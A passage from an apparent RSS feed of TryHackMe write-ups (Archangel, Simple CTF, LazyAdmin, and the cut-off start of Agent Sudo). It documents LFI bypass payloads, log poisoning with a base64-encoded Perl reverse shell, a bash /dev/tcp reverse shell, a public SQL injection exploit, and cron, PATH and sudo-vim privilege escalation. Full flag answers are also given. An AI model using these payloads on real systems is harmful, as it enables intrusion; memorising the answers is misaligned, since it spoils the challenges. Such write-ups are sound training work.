            <content:encoded><![CDATA[<h3>Archangel writeup — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*i8gJk3NlFkrbP_7IwEC-aA.jpeg" /></figure><p>In this writeup, I’ll document my complete methodology for compromising the <strong>Archangel </strong>machine from <strong>TryHackMe</strong>. This machine presented an interesting challenge involving web application vulnerabilities, <strong>LFI </strong>exploitation, log <strong>poisoning</strong>, and more!</p><p><strong>Reconnaissance phase</strong></p><p>I began with an aggressive port scan using <strong>NMAP </strong>with the flags -sS -p- --min-rate 5000 to quickly identify open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*lD6WuovNJbaFETaKRUsFbg.png" /><figcaption>(nmap ports)</figcaption></figure><p>The scan revealed that ports <strong>80 </strong>and <strong>22 </strong>were open.</p><p>To gather more detailed information about the services running on these ports, I performed a version detection scan with -sV -sC flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Ebe_cp41Xd3ZquArt9CzlQ.png" /><figcaption>(version)</figcaption></figure><p>The results showed:</p><ul><li>Port <strong>80</strong>: <strong>HTTP </strong>service running <strong>Apache </strong>httpd 2.4.29</li><li>Port <strong>22</strong>: <strong>SSH </strong>service running <strong>OpenSSH </strong>7.6p1</li></ul><p>The scan also revealed a publicly accessible robots.txt file with a disallowed entry for test.php.</p><p><strong>Enumeration Phase</strong></p><p>I accessed the web service on port <strong>80</strong>, which displayed what appeared to be a test page for “Wavefire.” Most links were non-functional and everything was in .html format, indicating minimal backend interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6r8O4IZLT56HiG6Zu_knBw.png" /><figcaption>(ppal)</figcaption></figure><p>While exploring the page, I noticed two different email addresses:</p><ul><li>“<strong>Home</strong>” section: support@mafialive.thm</li><li>“<strong>Pages</strong>” section: support@domain.com</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8-f-Jf52Vk_djHiNyiS7MQ.png" /><figcaption>(domain.com)</figcaption></figure><p>This discrepancy suggested that mafialive.thm was the actual domain for the site. I added this domain to my /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*JJdMb2CFCHeX_GcwgJSqlA.png" /><figcaption>(/etc/hosts)</figcaption></figure><p>When I accessed the <strong>domain</strong>, I got the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*GgrVjG16hpfTjAMG07B2EQ.png" /><figcaption>(first flag)</figcaption></figure><p>Remembering the test.php entry from robots.txt, I navigated to this endpoint (which only worked when accessing via the domain, not the IP). The page contained a button that generated a local file request through the ?view= <strong>GET </strong>parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*wGRkVHMpfn45e3ptU02LSw.png" /><figcaption>(get)</figcaption></figure><p>This behavior indicated a potential Local File Inclusion (LFI) vulnerability. Initial testing revealed that classic path traversal (../..) was <strong>blocked</strong>, and there was validation requiring the parameter to contain /var/www/html/development_testing.</p><p>After testing various payloads, I discovered that ..//..//..//..//etc/passwd successfully bypassed the filters, confirming the <strong>LFI </strong>vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*syycsfXVmDt0Z5f9ZU_rOQ.png" /><figcaption>(lfi)</figcaption></figure><p><strong>Exploitation Phase</strong></p><p>To achieve Remote Code Execution (<strong>RCE</strong>), I searched for accessible log files and found that Apache access logs at /var/log/apache2/access.log were readable through the <strong>LFI</strong>. These logs recorded all web requests including <strong>User-Agent</strong> headers, presenting an opportunity for <strong>log </strong>poisoning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9L8z57yhGiEbQ_OCcTiJYQ.png" /><figcaption>(access.log)</figcaption></figure><p>I validated this approach using Burp Suite:</p><p><strong>1.</strong> Intercepted a request and changed the User-Agent to “Test”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*V9par-x81rt1ipfbwAg7vw.png" /><figcaption>(test)</figcaption></figure><p><strong>2. </strong>Reloaded the access log through the LFI — the “Test” string appeared</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*eXg608Nta_AWgdITYzXgkQ.png" /><figcaption>(confirmation)</figcaption></figure><p><strong>3. </strong>Confirmed <strong>PHP </strong>execution with &lt;?php system(&#39;whoami&#39;);?&gt; in the User-Agent, which returned www-data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*OP0LxZiI3WSEIapyltcs5A.png" /><figcaption>(www-data)</figcaption></figure><p>To avoid parsing issues with special characters in <strong>Apache </strong>logs, I used a Perl reverse shell from <strong>Pentest Monkey</strong>, encoded it in <strong>base64</strong>, and injected it via the <strong>User-Agent</strong>:</p><pre>&lt;?php system(base64_decode(&#39;cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4xMzAuMTkwIjskcD00NDQ0O3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9Oyc&#39;));?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*kb-4rJyxTWRDVW7BIdThiQ.png" /><figcaption>(base64)</figcaption></figure><p>After <strong>sending </strong>the request and setting up a netcat listener, I reloaded the access log page and obtained a reverse shell as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*KnOZZ8s_ppJ3ztI-yiF2Vg.png" /><figcaption>(success)</figcaption></figure><p>I stabilized the shell using:</p><blockquote>script /dev/null -c bash<br>[Ctrl+Z]<br>stty raw -echo; fg<br>reset<br>[Set terminal type to xterm]</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*pcV9hWxdLsGO8Y54I-ZwDw.png" /></figure><blockquote>export TERM=xterm<br>export SHELL=bash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*Kkc5GSvua7feXXN3Xqsm0w.png" /><figcaption>(export)</figcaption></figure><p>I verified my <strong>LFI </strong>hypothesis by examining test.php - it indeed filtered ../.. and required /var/www/html/development_testing in the path. I also found the second flag in this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PHBDqQJPH_7sBWlEtryMPw.png" /><figcaption>(flag 2)</figcaption></figure><p>After retrieving the user flag from the user’s home directory, I focused on privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*J3iNjUUVvPHhy6YygXnXRQ.png" /><figcaption>(user.txt)</figcaption></figure><p><strong>Privilege Escalation</strong></p><p>Basic enumeration revealed a cron job executing /opt/helloworld.sh as the archangel user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*eN4jSOev6lKkmdAR7KIZHA.png" /><figcaption>(/etc/crontab)</figcaption></figure><p>The file had write <strong>permissions</strong>, allowing me to overwrite its contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*KvSJVmjao3TQX1LkSi3Chw.png" /><figcaption>(permissions)</figcaption></figure><p>I replaced the script with commands to set up <strong>SSH </strong>access:</p><p><strong>1</strong>. I copied the contents of my public key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*xDiNmlKWZS9jLRYp5GyaoA.png" /><figcaption>(public key)</figcaption></figure><p><strong>2.</strong> I edited the script content to insert my key.</p><pre>echo &quot;mkdir /home/archangel/.ssh &amp;&amp; echo &#39;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDAuPBFhVKDB34chExBFu4UAdqdkEiYxhY5mH1fIPG1J hernandez@kali&#39; &gt; /home/archangel/.ssh/authorized_keys&quot; &gt; /opt/helloworld.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B348eWWzSxfTOq6x0HMV8g.png" /><figcaption>(echo)</figcaption></figure><p>After waiting for the cron job to run, I verified that the .ssh folder had been created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*g6Qj8VJYraoSfyyyz2W8Gw.png" /><figcaption>(verify)</figcaption></figure><p>Then I successfully connected via <strong>SSH </strong>as archangel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*l8sjnlyMB5wCsyVZjX9wHA.png" /><figcaption>(archangel)</figcaption></figure><p>And I was able to retrieve the user2.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*g_SrIRLmSAf2VfDrEY2zvg.png" /><figcaption>(user2.txt)</figcaption></figure><p>In the “secret” directory containing user2.txt, I noticed a red-colored backup file with <strong>SUID </strong>permissions. The file command identified it as a binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*KfSY76y_e_uxIjDcytjjYA.png" /><figcaption>(file)</figcaption></figure><p>And strings revealed it performed folder backups using the <strong>relative </strong>path cp command instead of /bin/cp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*IQs41vobh7jW0pgKt7Qr6w.png" /><figcaption>(cp)</figcaption></figure><p>This vulnerability allowed path injection. My exploitation process:</p><pre># Modified the PATH environment variable:<br>export PATH=/tmp:$PATH<br><br># Created a malicious cp binary in /tmp:<br>echo &#39;/bin/bash&#39; &gt; /tmp/cp<br>chmod +x /tmp/cp<br><br># Verified the PATH modification:<br>echo $PATH<br><br># Executed the SUID binary<br>./backup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qAZlBGlyzVfJrXppt9UULA.png" /><figcaption>(root)</figcaption></figure><p>This gave me a session as <strong>root</strong>, allowing me to obtain the last <strong>flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*CNu1lykyrEaRrujDB67w5A.png" /><figcaption>(root.txt)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. Find a different hostname</strong></p><blockquote>mafialive.thm</blockquote><p><strong>2. Find flag 1</strong></p><blockquote>thm{f0und_th3_r1ght_h0st_n4m3}</blockquote><p><strong>3. Look for a page under development</strong></p><blockquote>test.php</blockquote><p><strong>4. Find flag 2</strong></p><blockquote>thm{explo1t1ng_lf1}</blockquote><p><strong>5. Get a shell and find the user flag</strong></p><blockquote>thm{lf1_t0_rc3_1s_tr1cky}</blockquote><p><strong>6. Get User 2 flag</strong></p><blockquote>thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}</blockquote><p><strong>7. Root the machine and find the root flag</strong></p><blockquote>thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=781014f30777" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple CTF writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/simple-ctf-writeup-tryhackme-27b5d0f31ba9?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/27b5d0f31ba9</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 21:44:17 GMT</pubDate>
            <atom:updated>2025-11-13T21:44:17.620Z</atom:updated>
            <content:encoded><![CDATA[<h3>Simple CTF writeup — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZcLxpFb2nATe72LYiTGFJg.png" /></figure><p>This document details the methodology and steps I took to compromise the SimpleCTF machine on <strong>TryHackMe</strong>. The machine presented a classic attack path involving service enumeration, anonymous <strong>FTP </strong>access, web application vulnerability exploitation, and privilege escalation via misconfigured <strong>sudo </strong>permissions.</p><p><strong>Reconnaissance phase</strong></p><p>I began by performing a network scan to identify open <strong>ports </strong>on the target machine. To ensure a fast and efficient scan, I used a <strong>SYN </strong>scan with high speed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*YCEpfjlFni-DpTp5vh9c0Q.png" /><figcaption>(nmap ports)</figcaption></figure><p>The initial scan revealed three open ports: <strong>21 </strong>(<strong>FTP</strong>), <strong>80 </strong>(<strong>HTTP</strong>), and <strong>2222 </strong>(<strong>Unknown</strong>).</p><p>To gather more detailed information about the services running on these ports, I performed a <strong>version </strong>detection and default <strong>script </strong>scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*cQM7ZPYA5VZHgtvKnsr8qw.png" /><figcaption>(services)</figcaption></figure><p><strong>Service Enumeration Results:</strong></p><ul><li>Port 21 (<strong>FTP</strong>): vsftpd 3.0.3 - Anonymous login allowed.</li><li>Port 80 (<strong>HTTP</strong>): Apache httpd 2.4.18</li><li>Port 2222 (<strong>SSH</strong>): OpenSSH 7.2p2 Ubuntu 4ubuntu2.8.</li></ul><p><strong>Enumeration Phase</strong></p><p>Given that anonymous login was permitted on the <strong>FTP </strong>service, I attempted to connect. I used anonymous as the username and provided a blank password.</p><p>While I was able to log in, the ls command initially failed to list directory contents. To resolve this, I switched to passive mode, which <strong>routes </strong>data transfers over the established command connection. After this change, <strong>directory </strong>listing worked correctly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*GeSLntMqPTA1-NMZwe8zow.png" /><figcaption>(ls)</figcaption></figure><p>The listing revealed a directory. Upon navigating into it, I found a file named ForMitch.txt. I downloaded it to my local machine using the mget command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*_s9zsweYF_ImoNN5knJNoQ.png" /><figcaption>(mget)</figcaption></figure><p>The ForMitch.txt file contained a message indicating that the user Mitch&#39;s password was very weak and was being reused for both web and <strong>system </strong>access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kK0Zs1qnnd9mjwKzQAXUxA.png" /><figcaption>(formitch.txt)</figcaption></figure><p>I decided to access the page hosted on port <strong>80</strong>, but it only showed the default page for an <strong>Apache </strong>installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*-EcfPrGrgusUZxRhTkiyAg.png" /><figcaption>(default)</figcaption></figure><p>I proceeded to enumerate hidden directories and files using gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9kDcUDyT44tbfZ-ZHzIx9A.png" /><figcaption>(gobuster)</figcaption></figure><p>The scan identified an interesting directory: /simple/. Accessing this path revealed the landing page for Simple <strong>CMS</strong>. By inspecting the page&#39;s footer, I determined the CMS version was <strong>2.2.8</strong>.</p><p><strong>Exploitation Phase</strong></p><p>A search for publicly available exploits for Simple <strong>CMS 2.2.8</strong> led me to <strong>CVE-2019–9053</strong>. This vulnerability is a time-based blind SQL injection located in the moduleinterface.php component of the <strong>CMS</strong>.</p><p>The vulnerability exists because user input is not properly sanitized before being used in a SQL query. The exploit script takes advantage of this by injecting a SQL command that uses a SLEEP() function. The script sends payloads that ask the database true/false questions about the data it contains (e.g., &quot;Is the first character of the admin&#39;s password &#39;a&#39;?&quot;). If the answer is &quot;true,&quot; the database executes the SLEEP() command, causing a measurable delay in the server&#39;s response. By analyzing these response times, the script can systematically extract information from the database, character by character, including <strong>usernames</strong>, <strong>email </strong>addresses, and <strong>password </strong>hashes.</p><p>I used a functional <strong>Python </strong>exploit script from the <a href="https://github.com/so1icitx/CVE-2019-9053">so1licitx</a> repository.</p><p>I downloaded the exploit and executed it against the target, instructing it to <strong>crack </strong>any discovered password <strong>hashes </strong>using the rockyou.txt wordlist.</p><pre>python3 script.py -u http://10.10.222.92/simple -c -w /usr/share/wordlists/rockyou.txt   </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*VEJkB_RydiQnuR9wfDqctw.png" /><figcaption>(script)</figcaption></figure><p>The exploit was successful and returned the following credentials:</p><ul><li><strong>Username</strong>: mitch</li><li><strong>Password</strong>: secret</li></ul><p>Here I remembered the warning <strong>Mitch </strong>had been given about reusing passwords, so I decided to try these credentials on the SSH service on port <strong>2222</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*DRtysEdscr5P6hBMOcRbwA.png" /><figcaption>(ssh)</figcaption></figure><p>The login was successful, and I gained initial access to the machine. I found and captured the <strong>user </strong>flag (user.txt).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/1*Blfa_r_jfm121ZGHSEWgEA.png" /><figcaption>(user flag)</figcaption></figure><p><strong>Privilege Escalation</strong></p><p>To improve my <strong>shell </strong>experience, I upgraded from a basic sh shell to a fully interactive bash shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*Tm8eztVVbOW67dDU-0_SHw.png" /><figcaption>(upgraded)</figcaption></figure><p>My first step in escalating <strong>privileges </strong>was to check which commands the current user (mitch) could run with sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*gFmJ_jjU23MD5INbseY8_A.png" /><figcaption>(sudo -l)</figcaption></figure><p>The output revealed that mitch could run /usr/bin/vim as <strong>root </strong>without providing a password.</p><p>I referenced GTFOBins and found a <strong>method </strong>to spawn a shell from within vim when it has elevated privileges.</p><pre>sudo vim -c &#39;:!/bin/sh&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*YacrhGnDSJ8m2yj_5nFqAg.png" /><figcaption>(root)</figcaption></figure><p>I navigated to the <strong>root </strong>user’s directory and captured the final <strong>root </strong>flag (root.txt), successfully completing the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/237/1*PQ5JkYgXWbYmK0hbOWc8ag.png" /><figcaption>(root flag)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. How many services are running under port 1000?</strong></p><blockquote>2</blockquote><p><strong>2. What is running on the higher port?</strong></p><blockquote>ssh</blockquote><p><strong>3. What’s the CVE you’re using against the application?</strong></p><blockquote>CVE-2019–9053</blockquote><p><strong>4. To what kind of vulnerability is the application vulnerable?</strong></p><blockquote>sqli</blockquote><p><strong>5. What’s the password?</strong></p><blockquote>secret</blockquote><p><strong>6. Where can you login with the details obtained?</strong></p><blockquote>ssh</blockquote><p><strong>7. What’s the user flag?</strong></p><blockquote>G00d j0b, keep up!</blockquote><p><strong>8. Is there any other user in the home directory? What’s its name?</strong></p><blockquote>sunbath</blockquote><p><strong>9. What can you leverage to spawn a privileged shell?</strong></p><blockquote>vim</blockquote><p><strong>10. What’s the root flag?</strong></p><blockquote>W3ll d0n3. You made it!</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27b5d0f31ba9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LazyAdmin writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/lazyadmin-writeup-tryhackme-998921094daf?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/998921094daf</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Wed, 12 Nov 2025 21:18:07 GMT</pubDate>
            <atom:updated>2025-11-13T16:14:49.331Z</atom:updated>
            <content:encoded><![CDATA[<h3>LazyAdmin writeup — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*7Q6AxOn9LWsVdY7mDf1Jaw.jpeg" /></figure><p>This writeup details the methodology I used to compromise the <strong>“LazyAdmin” </strong>TryHackMe machine. The process involved network enumeration, <strong>web</strong> directory brute-forcing, <strong>CMS </strong>vulnerability exploitation, and <strong>privilege </strong>escalation via a misconfigured <strong>sudo </strong>permission.</p><p><strong>Reconnaissance phase</strong></p><p>I began by performing a network scan to identify open <strong>ports </strong>and <strong>services </strong>on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*USrm9X50l_E4Jn0PD1p70Q.png" /><figcaption>(nmap1)</figcaption></figure><p>The initial scan revealed that only two ports were open <strong>22/tcp </strong>and <strong>80/tcp.</strong></p><p>To gather more detailed information about these <strong>services</strong>, I performed a version and default <strong>script </strong>scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*bAUX76QmqGrd3dueUuR0QA.png" /><figcaption>(services)</figcaption></figure><p><strong>Findings:</strong></p><ul><li><strong>22/tcp</strong>: OpenSSH <strong>7.2p2</strong></li><li><strong>80/tcp</strong>: Apache httpd <strong>2.4.18</strong> (Ubuntu)</li></ul><p><strong>Enumeration Phase</strong></p><p>With HTTP as a primary vector, I navigated to the <strong>root </strong>page /. The page displayed the default <strong>Apache2 </strong>Ubuntu landing page, indicating I needed to enumerate further for hidden content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*NwQmzpGya94ClZn4ZU-wfw.png" /><figcaption>(default)</figcaption></figure><p>I used gobuster to <strong>brute-force</strong> directories and files on the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VcBcw2WDhnoaI-N7eRRRWw.png" /><figcaption>(content)</figcaption></figure><p>This scan uncovered a promising directory: /content/. Accessing it revealed that the site was running <strong>SweetRice</strong>, a <strong>CMS </strong>system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*MC58Jn53Wv1Eik3aWje1BQ.png" /><figcaption>(sweetrice)</figcaption></figure><p>I stopped the initial <strong>Gobuster </strong>scan and launched a more targeted one against the /content/ directory to map the <strong>SweetRice </strong>application thoroughly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jUpgqzCC5EAfM1AJ3_kOg.png" /><figcaption>(gobuster2)</figcaption></figure><p>The scan revealed several endpoints. The most interesting were /inc and /as. While exploring /inc, I found a directory named mysql_backup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*MQkIvHOC_vq1GApR9bkpeA.png" /><figcaption>(mysql_backup)</figcaption></figure><p>Inside was a <strong>SQL </strong>file, which I downloaded and inspected. This backup file contained database setup commands, including a crucial INSERT statement with what appeared to be administrator credentials for the <strong>SweetRice CMS</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8ASrLowKo4w3HHOHDswTg.png" /><figcaption>(manager)</figcaption></figure><p>The password was hashed using <strong>MD5</strong>. I used CrackStation to crack this hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*rTqMZwaRyL7nqDQAo9PFNQ.png" /><figcaption>(password123)</figcaption></figure><p>I then navigated to /as, which presented the <strong>SweetRice </strong>admin login panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*rsUaO386PKG7DMpHItqHzQ.png" /><figcaption>(login)</figcaption></figure><p>The cracked credentials (manager:Password123) were valid, granting me access to the <strong>CMS </strong>manager <strong>dashboard</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*WLQS4hhnxP1ocn94VPIsZQ.png" /><figcaption>(dashboard)</figcaption></figure><p><strong>Exploitation Phase</strong></p><p>Research indicated that <strong>SweetRice </strong>1.5.1 is vulnerable to Authenticated <strong>PHP </strong>Code Injection, often via the “<strong>Ads</strong>” section, which allows for <strong>CSRF </strong>and direct code execution.</p><p>To exploit this:</p><p><strong>1. </strong>I navigated to the <strong>“Ads”</strong> section in the left-hand menu.</p><p><strong>2. </strong>I created a new ad with an arbitrary name.</p><p><strong>3.</strong> In the <strong>“Ads code”</strong> field, I inserted a <strong>PHP </strong>reverse shell script.</p><pre>&lt;?php<br>exec(&quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/IP/PORT 0&gt;&amp;1&#39;&quot;);<br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*7GW7_OzZyphpGd6N0AWS7Q.png" /><figcaption>(reverse)</figcaption></figure><p><strong>4. </strong>I saved the <strong>ad </strong>by clicking “Done”.</p><p>With a netcat listener active on my machine, I accessed the generated <strong>PHP </strong>file at /content/inc/ads/&lt;ad_name&gt;.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*dQ8IM5v0ddkLapnFuiBldA.png" /><figcaption>(reverse.php)</figcaption></figure><p>This executed the <strong>reverse </strong>shell code, granting me a <strong>shell </strong>as the www-data user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*mbCQp-u1eeCAcZ-Ra7XfoA.png" /><figcaption>(www-data)</figcaption></figure><p>The initial <strong>shell </strong>was unstable. I stabilized it using the following technique:</p><blockquote><strong>1. Create a script to redirect all I/O and avoid history<br></strong>script /dev/null -c bash</blockquote><blockquote><strong>2. Background the session with Ctrl+Z, then set the terminal to raw mode</strong><br>stty raw -echo; fg</blockquote><blockquote><strong>3. Reset the terminal and set the type</strong><br>reset<br>xterm</blockquote><blockquote><strong>4. Set environment variables for a fully functional shell</strong><br>export TERM=xterm<br>export SHELL=bash</blockquote><p>After stabilization, I was able to retrieve the <strong>first </strong>flag (user.txt).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*DsdUry1y6aeeCcABGIYj4w.png" /><figcaption>(user.txt)</figcaption></figure><p><strong>Privilege Escalation</strong></p><p>My first step was to enumerate potential privilege escalation vectors. I checked the <em>sudo </em>privileges for the www-data user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*FEi3f9VV5ZkgMMiaqOOWTA.png" /><figcaption>(sudo -l)</figcaption></figure><p>I <strong>inspected </strong>the backup.pl script to understand its function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*A4BbcDqcg-VUdqm9g8ccvw.png" /><figcaption>(sh)</figcaption></figure><p>The script executed the sh <strong>shell</strong>, passing /etc/copy.sh as an argument. I checked the permissions on /etc/copy.sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*wW-wO70zC1s4q51KbqI_VQ.png" /><figcaption>(ls -l)</figcaption></figure><p>I discovered that the www-data user had write permissions on this file. This was the key to escalation. I overwrote the contents of /etc/copy.sh with a simple <strong>command </strong>to spawn a <strong>root </strong>shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*hd_0-sVJ980-INxQa8Y_bw.png" /><figcaption>(/bin/sh)</figcaption></figure><p>Finally, I executed the <strong>Perl </strong>script with <strong>sudo </strong>privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*R0QPhhJ7vGO8sHLc6nOBPQ.png" /><figcaption>(whoami)</figcaption></figure><p>This executed my malicious /etc/copy.sh script, granting me a <strong>root </strong>shell. I then navigated to the root directory and successfully retrieved the final flag (root.txt).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*gzxDnYbyACeWy6Q1FhFV-Q.png" /><figcaption>(root.txt)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. What is the user flag?</strong></p><blockquote>THM{63e5bce9271952aad1113b6f1ac28a07}</blockquote><p><strong>2. What is the root flag?</strong></p><blockquote>THM{6637f41d0177b6f37cb20d775124699f}</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=998921094daf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Agent Sudo writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/agent-sudo-writeup-tryhackme-d650f295474d?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d650f295474d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Fri, 31 Oct 2025 12:56:51 GMT</pubDate>
            <atom:updated>2025-10-31T12:56:51.555Z</atom:updated>
            <content:encoded><![CDATA[<h3>Agent Sudo writeup — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*IkfMlpUnCpOHg3xFlv-DKw.png" /></figure><p>This report documents my complete methodology for penetrating the <strong>“Agent Sudo”</strong> machine from <strong>TryHackMe</strong>. The engagement involved network reconnaissance, web application analysis, <strong>cryptographic </strong>obfuscation techniques, and privilege escalation exploitation to gain full control of the target system.</p><p><strong>Reconnaissance phase</strong></p><p>I began the assessment with an aggressive port scan to map the attack surface of the target machine. Using nmap with <strong>SYN </strong>scan (-sS), checking all <strong>ports </strong>(-p-), and setting a high <strong>speed </strong>(--min-rate 5000) to expedite the process</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*KVVgPj9yl0AVVX2KYF3D_A.png" /><figcaption>(nmap ports)</figcaption></figure><p>I identified the following open ports: <strong>21 </strong>(<strong>FTP</strong>), <strong>22 </strong>(<strong>SSH</strong>), and <strong>80 </strong>(<strong>HTTP</strong>).</p><p>With the open ports identified, I performed a more detailed version and script scan against them using nmap -sV -sC to gather deeper intelligence on the running <strong>services </strong>and their potential <strong>vulnerabilities</strong>.</p><figure><img 